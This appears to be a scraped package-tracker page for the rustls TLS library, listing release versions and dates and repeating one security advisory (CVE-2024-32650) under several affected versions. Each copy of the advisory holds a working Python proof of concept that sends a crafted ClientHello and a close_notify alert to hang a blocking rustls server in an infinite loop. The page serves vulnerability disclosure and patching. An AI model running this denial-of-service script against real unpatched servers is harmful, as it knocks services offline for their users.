rustls

Version	Released
`0.23.44` patch	Sep 07, 2026
`0.23.43` unknown	Jul 29, 2026
`0.24.0-dev.1` unknown	Jul 23, 2026
`0.23.42` unknown	Jul 13, 2026
`0.23.41` unknown	Jun 22, 2026
`0.23.40` unknown	Apr 28, 2026
`0.23.39` unknown	Apr 22, 2026
`0.23.38` unknown	Apr 12, 2026
`0.23.37` unknown	Feb 24, 2026
`0.24.0-dev.0` unknown	Jan 28, 2026
`0.23.36` unknown	Jan 05, 2026
`0.23.35` unknown	Nov 04, 2025
`0.23.34` unknown	Oct 22, 2025
`0.23.33` unknown	Oct 17, 2025
`0.23.32` unknown	Sep 19, 2025
`0.23.31` unknown	Jul 29, 2025
`0.23.30` unknown yanked	Jul 27, 2025
`0.23.29` unknown	Jul 10, 2025
`0.23.28` unknown	Jun 16, 2025
`0.23.27` unknown	May 05, 2025
`0.23.26` unknown	Apr 10, 2025
`0.23.25` unknown	Mar 17, 2025
`0.23.24` unknown	Mar 17, 2025
`0.23.23` unknown	Feb 11, 2025
`0.23.22` unknown	Jan 30, 2025
`0.23.21` unknown	Jan 10, 2025
`0.23.20` unknown	Dec 11, 2024
`0.23.19` unknown	Nov 27, 2024
`0.23.18` unknown	Nov 22, 2024
`0.23.17` unknown 1 CVE	Nov 16, 2024
`0.23.16` unknown 1 CVE	Oct 28, 2024
`0.23.15` unknown 1 CVE	Oct 16, 2024
`0.23.14` unknown 1 CVE	Oct 04, 2024
`0.23.13` unknown 1 CVE	Sep 10, 2024
`0.23.12` unknown	Jul 23, 2024
`0.23.11` unknown	Jul 08, 2024
`0.23.10` unknown	Jun 13, 2024
`0.23.9` unknown	Jun 03, 2024
`0.23.8` unknown	May 23, 2024
`0.23.7` unknown	May 17, 2024
`0.23.6` unknown	May 16, 2024
`0.21.12` unknown	Apr 26, 2024
`0.21.11` unknown	Apr 19, 2024
`0.22.4` unknown	Apr 19, 2024
`0.23.5` unknown	Apr 19, 2024
`0.23.4` unknown 1 CVE	Mar 25, 2024
`0.22.3` unknown 1 CVE	Mar 25, 2024
`0.23.3` unknown 1 CVE	Mar 20, 2024
`0.23.2` unknown 1 CVE	Mar 13, 2024
`0.23.1` unknown 1 CVE	Mar 01, 2024

0.23.44 patch

Sep 07, 2026

0.23.43 unknown

Jul 29, 2026

0.24.0-dev.1 unknown

Jul 23, 2026

0.23.42 unknown

Jul 13, 2026

0.23.41 unknown

Jun 22, 2026

0.23.40 unknown

Apr 28, 2026

0.23.39 unknown

Apr 22, 2026

0.23.38 unknown

Apr 12, 2026

0.23.37 unknown

Feb 24, 2026

0.24.0-dev.0 unknown

Jan 28, 2026

0.23.36 unknown

Jan 05, 2026

0.23.35 unknown

Nov 04, 2025

0.23.34 unknown

Oct 22, 2025

0.23.33 unknown

Oct 17, 2025

0.23.32 unknown

Sep 19, 2025

0.23.31 unknown

Jul 29, 2025

0.23.30 unknown yanked

Jul 27, 2025

0.23.29 unknown

Jul 10, 2025

0.23.28 unknown

Jun 16, 2025

0.23.27 unknown

May 05, 2025

0.23.26 unknown

Apr 10, 2025

0.23.25 unknown

Mar 17, 2025

0.23.24 unknown

Mar 17, 2025

0.23.23 unknown

Feb 11, 2025

0.23.22 unknown

Jan 30, 2025

0.23.21 unknown

Jan 10, 2025

0.23.20 unknown

Dec 11, 2024

0.23.19 unknown

Nov 27, 2024

0.23.18 unknown

Nov 22, 2024

0.23.17 unknown

1 CVE

Nov 16, 2024

0.23.16 unknown

1 CVE

Oct 28, 2024

0.23.15 unknown

1 CVE

Oct 16, 2024

0.23.14 unknown

1 CVE

Oct 04, 2024

0.23.13 unknown

1 CVE

Sep 10, 2024

0.23.12 unknown

Jul 23, 2024

0.23.11 unknown

Jul 08, 2024

0.23.10 unknown

Jun 13, 2024

0.23.9 unknown

Jun 03, 2024

0.23.8 unknown

May 23, 2024

0.23.7 unknown

May 17, 2024

0.23.6 unknown

May 16, 2024

0.21.12 unknown

Apr 26, 2024

0.21.11 unknown

Apr 19, 2024

0.22.4 unknown

Apr 19, 2024

0.23.5 unknown

Apr 19, 2024

0.23.4 unknown

1 CVE

CVE-2024-32650 GHSA-6g7w-8wpp-frhj RUSTSEC-2024-0336 Apr 19, 2024

Denial of Service Vulnerability in Rustls Library

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

rustls::ConnectionCommon::complete_io could fall into an infinite loop based on network input.

Details

Verified at 0.22 and 0.23 rustls, but 0.21 and 0.20 release lines are also affected. tokio-rustls and rustls-ffi do not call complete_io and are not affected. rustls::Stream and rustls::StreamOwned types use complete_io and are affected.

When using a blocking rustls server, if a client send a close_notify message immediately after client_hello, the server's complete_io will get in an infinite loop where:

eof: false
until_handshaked: true
self.is_handshaking(): true
self.wants_write(): false
self.wants_read(): false

PoC

Run simple server: cargo run --bin simpleserver test-ca/rsa/end.fullchain test-ca/rsa/end.key

Run following python script

#!/usr/bin/env python3

import socket

sock = socket.socket()
sock.connect(("localhost", 4443))

print("Sending client hello...")

# Fake handshake data of a client hello message.
fake_handshake = """
1603 0100 c801 0000 c403 03ec 12dd
1764 a439 fd7e 8c85 46b8 4d1e a06e b3d7
a051 f03c b817 470d 4c54 c5df 7200 001c
eaea c02b c02f c02c c030 cca9 cca8 c013
c014 009c 009d 002f 0035 000a 0100 007f
dada 0000 ff01 0001 0000 0000 1600 1400
0011 7777 772e 7769 6b69 7065 6469 612e
6f72 6700 1700 0000 2300 0000 0d00 1400
1204 0308 0404 0105 0308 0505 0108 0606
0102 0100 0500 0501 0000 0000 0012 0000
0010 000e 000c 0268 3208 6874 7470 2f31
2e31 7550 0000 000b 0002 0100 000a 000a
0008 1a1a 001d 0017 0018 1a1a 0001 00
"""


def parse_fake_handshake():
    i = 0
    data = bytearray()
    while i < len(fake_handshake):
        while i < len(fake_handshake) and fake_handshake[i].isspace():
            i += 1
        if i >= len(fake_handshake):
            return data

        c1 = fake_handshake[i]
        c2 = fake_handshake[i + 1]
        i += 2

        data.append(int(c1, 16) * 16 + int(c2, 16))
    return data


data = parse_fake_handshake()

print("Fake client hello:", data)

sock.send(data)

# Send close_notify alert that we're closing the connection.
close_data = bytearray([0x15, 0x03, 0x03, 0x00, 0x02, 0x01, 0x00])
print(f"close_notify is {close_data}")
sock.send(close_data)
print("close_notify sent")

exit(0)

You could observe the server process get into 100% cpu usage, and if you add logging at beginning of rustls::conn::ConnectionCommon::complete_io, you could see the function is spinning.

Also note that the server thread is stuck in this infinite loop even if the client closes the socket.

Impact

This is a DOS.

A multithread non-async server that uses rustls could be attacked by getting few requests like above (each request could cause one thread to spin) and stop handling normal requests.

Affected versions


          0.20

Fixed in


          0.21.11


          0.22.4


          0.23.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 25, 2024

0.22.3 unknown

1 CVE

CVE-2024-32650 GHSA-6g7w-8wpp-frhj RUSTSEC-2024-0336 Apr 19, 2024

Denial of Service Vulnerability in Rustls Library

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

rustls::ConnectionCommon::complete_io could fall into an infinite loop based on network input.

Details

Verified at 0.22 and 0.23 rustls, but 0.21 and 0.20 release lines are also affected. tokio-rustls and rustls-ffi do not call complete_io and are not affected. rustls::Stream and rustls::StreamOwned types use complete_io and are affected.

When using a blocking rustls server, if a client send a close_notify message immediately after client_hello, the server's complete_io will get in an infinite loop where:

eof: false
until_handshaked: true
self.is_handshaking(): true
self.wants_write(): false
self.wants_read(): false

PoC

Run simple server: cargo run --bin simpleserver test-ca/rsa/end.fullchain test-ca/rsa/end.key

Run following python script

#!/usr/bin/env python3

import socket

sock = socket.socket()
sock.connect(("localhost", 4443))

print("Sending client hello...")

# Fake handshake data of a client hello message.
fake_handshake = """
1603 0100 c801 0000 c403 03ec 12dd
1764 a439 fd7e 8c85 46b8 4d1e a06e b3d7
a051 f03c b817 470d 4c54 c5df 7200 001c
eaea c02b c02f c02c c030 cca9 cca8 c013
c014 009c 009d 002f 0035 000a 0100 007f
dada 0000 ff01 0001 0000 0000 1600 1400
0011 7777 772e 7769 6b69 7065 6469 612e
6f72 6700 1700 0000 2300 0000 0d00 1400
1204 0308 0404 0105 0308 0505 0108 0606
0102 0100 0500 0501 0000 0000 0012 0000
0010 000e 000c 0268 3208 6874 7470 2f31
2e31 7550 0000 000b 0002 0100 000a 000a
0008 1a1a 001d 0017 0018 1a1a 0001 00
"""


def parse_fake_handshake():
    i = 0
    data = bytearray()
    while i < len(fake_handshake):
        while i < len(fake_handshake) and fake_handshake[i].isspace():
            i += 1
        if i >= len(fake_handshake):
            return data

        c1 = fake_handshake[i]
        c2 = fake_handshake[i + 1]
        i += 2

        data.append(int(c1, 16) * 16 + int(c2, 16))
    return data


data = parse_fake_handshake()

print("Fake client hello:", data)

sock.send(data)

# Send close_notify alert that we're closing the connection.
close_data = bytearray([0x15, 0x03, 0x03, 0x00, 0x02, 0x01, 0x00])
print(f"close_notify is {close_data}")
sock.send(close_data)
print("close_notify sent")

exit(0)

You could observe the server process get into 100% cpu usage, and if you add logging at beginning of rustls::conn::ConnectionCommon::complete_io, you could see the function is spinning.

Also note that the server thread is stuck in this infinite loop even if the client closes the socket.

Impact

This is a DOS.

A multithread non-async server that uses rustls could be attacked by getting few requests like above (each request could cause one thread to spin) and stop handling normal requests.

Affected versions


          0.20

Fixed in


          0.21.11


          0.22.4


          0.23.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 25, 2024

0.23.3 unknown

1 CVE

CVE-2024-32650 GHSA-6g7w-8wpp-frhj RUSTSEC-2024-0336 Apr 19, 2024

Denial of Service Vulnerability in Rustls Library

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

rustls::ConnectionCommon::complete_io could fall into an infinite loop based on network input.

Details

Verified at 0.22 and 0.23 rustls, but 0.21 and 0.20 release lines are also affected. tokio-rustls and rustls-ffi do not call complete_io and are not affected. rustls::Stream and rustls::StreamOwned types use complete_io and are affected.

When using a blocking rustls server, if a client send a close_notify message immediately after client_hello, the server's complete_io will get in an infinite loop where:

eof: false
until_handshaked: true
self.is_handshaking(): true
self.wants_write(): false
self.wants_read(): false

PoC

Run simple server: cargo run --bin simpleserver test-ca/rsa/end.fullchain test-ca/rsa/end.key

Run following python script

#!/usr/bin/env python3

import socket

sock = socket.socket()
sock.connect(("localhost", 4443))

print("Sending client hello...")

# Fake handshake data of a client hello message.
fake_handshake = """
1603 0100 c801 0000 c403 03ec 12dd
1764 a439 fd7e 8c85 46b8 4d1e a06e b3d7
a051 f03c b817 470d 4c54 c5df 7200 001c
eaea c02b c02f c02c c030 cca9 cca8 c013
c014 009c 009d 002f 0035 000a 0100 007f
dada 0000 ff01 0001 0000 0000 1600 1400
0011 7777 772e 7769 6b69 7065 6469 612e
6f72 6700 1700 0000 2300 0000 0d00 1400
1204 0308 0404 0105 0308 0505 0108 0606
0102 0100 0500 0501 0000 0000 0012 0000
0010 000e 000c 0268 3208 6874 7470 2f31
2e31 7550 0000 000b 0002 0100 000a 000a
0008 1a1a 001d 0017 0018 1a1a 0001 00
"""


def parse_fake_handshake():
    i = 0
    data = bytearray()
    while i < len(fake_handshake):
        while i < len(fake_handshake) and fake_handshake[i].isspace():
            i += 1
        if i >= len(fake_handshake):
            return data

        c1 = fake_handshake[i]
        c2 = fake_handshake[i + 1]
        i += 2

        data.append(int(c1, 16) * 16 + int(c2, 16))
    return data


data = parse_fake_handshake()

print("Fake client hello:", data)

sock.send(data)

# Send close_notify alert that we're closing the connection.
close_data = bytearray([0x15, 0x03, 0x03, 0x00, 0x02, 0x01, 0x00])
print(f"close_notify is {close_data}")
sock.send(close_data)
print("close_notify sent")

exit(0)

You could observe the server process get into 100% cpu usage, and if you add logging at beginning of rustls::conn::ConnectionCommon::complete_io, you could see the function is spinning.

Also note that the server thread is stuck in this infinite loop even if the client closes the socket.

Impact

This is a DOS.

A multithread non-async server that uses rustls could be attacked by getting few requests like above (each request could cause one thread to spin) and stop handling normal requests.

Affected versions


          0.20

Fixed in


          0.21.11


          0.22.4


          0.23.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 20, 2024

0.23.2 unknown

1 CVE

CVE-2024-32650 GHSA-6g7w-8wpp-frhj RUSTSEC-2024-0336 Apr 19, 2024

Denial of Service Vulnerability in Rustls Library

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

rustls::ConnectionCommon::complete_io could fall into an infinite loop based on network input.

Details

Verified at 0.22 and 0.23 rustls, but 0.21 and 0.20 release lines are also affected. tokio-rustls and rustls-ffi do not call complete_io and are not affected. rustls::Stream and rustls::StreamOwned types use complete_io and are affected.

When using a blocking rustls server, if a client send a close_notify message immediately after client_hello, the server's complete_io will get in an infinite loop where:

eof: false
until_handshaked: true
self.is_handshaking(): true
self.wants_write(): false
self.wants_read(): false

PoC

Run simple server: cargo run --bin simpleserver test-ca/rsa/end.fullchain test-ca/rsa/end.key

Run following python script

#!/usr/bin/env python3

import socket

sock = socket.socket()
sock.connect(("localhost", 4443))

print("Sending client hello...")

# Fake handshake data of a client hello message.
fake_handshake = """
1603 0100 c801 0000 c403 03ec 12dd
1764 a439 fd7e 8c85 46b8 4d1e a06e b3d7
a051 f03c b817 470d 4c54 c5df 7200 001c
eaea c02b c02f c02c c030 cca9 cca8 c013
c014 009c 009d 002f 0035 000a 0100 007f
dada 0000 ff01 0001 0000 0000 1600 1400
0011 7777 772e 7769 6b69 7065 6469 612e
6f72 6700 1700 0000 2300 0000 0d00 1400
1204 0308 0404 0105 0308 0505 0108 0606
0102 0100 0500 0501 0000 0000 0012 0000
0010 000e 000c 0268 3208 6874 7470 2f31
2e31 7550 0000 000b 0002 0100 000a 000a
0008 1a1a 001d 0017 0018 1a1a 0001 00
"""


def parse_fake_handshake():
    i = 0
    data = bytearray()
    while i < len(fake_handshake):
        while i < len(fake_handshake) and fake_handshake[i].isspace():
            i += 1
        if i >= len(fake_handshake):
            return data

        c1 = fake_handshake[i]
        c2 = fake_handshake[i + 1]
        i += 2

        data.append(int(c1, 16) * 16 + int(c2, 16))
    return data


data = parse_fake_handshake()

print("Fake client hello:", data)

sock.send(data)

# Send close_notify alert that we're closing the connection.
close_data = bytearray([0x15, 0x03, 0x03, 0x00, 0x02, 0x01, 0x00])
print(f"close_notify is {close_data}")
sock.send(close_data)
print("close_notify sent")

exit(0)

You could observe the server process get into 100% cpu usage, and if you add logging at beginning of rustls::conn::ConnectionCommon::complete_io, you could see the function is spinning.

Also note that the server thread is stuck in this infinite loop even if the client closes the socket.

Impact

This is a DOS.

A multithread non-async server that uses rustls could be attacked by getting few requests like above (each request could cause one thread to spin) and stop handling normal requests.

Affected versions


          0.20

Fixed in


          0.21.11


          0.22.4


          0.23.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 13, 2024

0.23.1 unknown

1 CVE

CVE-2024-32650 GHSA-6g7w-8wpp-frhj RUSTSEC-2024-0336 Apr 19, 2024

Denial of Service Vulnerability in Rustls Library

7.5 / 10

High

Network Low None None Unchanged None None High

Summary

rustls::ConnectionCommon::complete_io could fall into an infinite loop based on network input.

Details

Verified at 0.22 and 0.23 rustls, but 0.21 and 0.20 release lines are also affected. tokio-rustls and rustls-ffi do not call complete_io and are not affected. rustls::Stream and rustls::StreamOwned types use complete_io and are affected.

When using a blocking rustls server, if a client send a close_notify message immediately after client_hello, the server's complete_io will get in an infinite loop where:

eof: false
until_handshaked: true
self.is_handshaking(): true
self.wants_write(): false
self.wants_read(): false

PoC

Run simple server: cargo run --bin simpleserver test-ca/rsa/end.fullchain test-ca/rsa/end.key

Run following python script

#!/usr/bin/env python3

import socket

sock = socket.socket()
sock.connect(("localhost", 4443))

print("Sending client hello...")

# Fake handshake data of a client hello message.
fake_handshake = """
1603 0100 c801 0000 c403 03ec 12dd
1764 a439 fd7e 8c85 46b8 4d1e a06e b3d7
a051 f03c b817 470d 4c54 c5df 7200 001c
eaea c02b c02f c02c c030 cca9 cca8 c013
c014 009c 009d 002f 0035 000a 0100 007f
dada 0000 ff01 0001 0000 0000 1600 1400
0011 7777 772e 7769 6b69 7065 6469 612e
6f72 6700 1700 0000 2300 0000 0d00 1400
1204 0308 0404 0105 0308 0505 0108 0606
0102 0100 0500 0501 0000 0000 0012 0000
0010 000e 000c 0268 3208 6874 7470 2f31
2e31 7550 0000 000b 0002 0100 000a 000a
0008 1a1a 001d 0017 0018 1a1a 0001 00
"""


def parse_fake_handshake():
    i = 0
    data = bytearray()
    while i < len(fake_handshake):
        while i < len(fake_handshake) and fake_handshake[i].isspace():
            i += 1
        if i >= len(fake_handshake):
            return data

        c1 = fake_handshake[i]
        c2 = fake_handshake[i + 1]
        i += 2

        data.append(int(c1, 16) * 16 + int(c2, 16))
    return data


data = parse_fake_handshake()

print("Fake client hello:", data)

sock.send(data)

# Send close_notify alert that we're closing the connection.
close_data = bytearray([0x15, 0x03, 0x03, 0x00, 0x02, 0x01, 0x00])
print(f"close_notify is {close_data}")
sock.send(close_data)
print("close_notify sent")

exit(0)

You could observe the server process get into 100% cpu usage, and if you add logging at beginning of rustls::conn::ConnectionCommon::complete_io, you could see the function is spinning.

Also note that the server thread is stuck in this infinite loop even if the client closes the socket.

Impact

This is a DOS.

A multithread non-async server that uses rustls could be attacked by getting few requests like above (each request could cause one thread to spin) and stop handling normal requests.

Affected versions


          0.20

Fixed in


          0.21.11


          0.22.4


          0.23.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 01, 2024

Activity

Reach

Details

Summary

Details

PoC

Impact

Summary

Details

PoC

Impact

Summary

Details

PoC

Impact

Summary

Details

PoC

Impact

Summary

Details

PoC

Impact

Summary

Details

PoC

Impact